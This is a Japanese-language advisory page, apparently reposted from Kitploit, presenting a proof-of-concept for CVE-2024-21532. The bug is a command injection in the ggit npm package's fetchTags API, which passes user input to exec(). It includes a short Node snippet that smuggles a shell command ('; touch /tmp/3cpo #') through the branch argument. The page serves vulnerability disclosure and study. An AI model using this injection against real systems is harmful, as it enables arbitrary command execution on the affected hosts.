CVE-2024-21532-PoC-ggit — CVE-2024-21532 の概念実証エクスプロイト。ggit npm パッケージの fetchTags API のコマンドインジェクション脆弱性で、安全でない exec() の使用を実証します。 | Kitploit

共有

CVE-2024-21532 ggitにおけるコマンドインジェクションの脆弱性

ggitは自身を次のように説明しています：

Local promise-returning git command wrappers

リソース：

プロジェクトのGitHubソースコード：https://github.com/bahmutov/ggit
プロジェクトのnpmパッケージ：https://www.npmjs.com/package/ggit

この脆弱性に関する記事：https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

悪用の背景

私はggit npmパッケージにおけるコマンドインジェクションの脆弱性を報告しています。

この脆弱性は、ライブラリのfetchTags(branch) APIに現れます。このAPIは、ユーザー入力でフェッチするブランチを指定できるようにし、その文字列をgitコマンドと連結して、安全でないNode.js子プロセスAPIであるexec()に渡します。

エクスプロイト

以前をインストール

[email protected]

const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});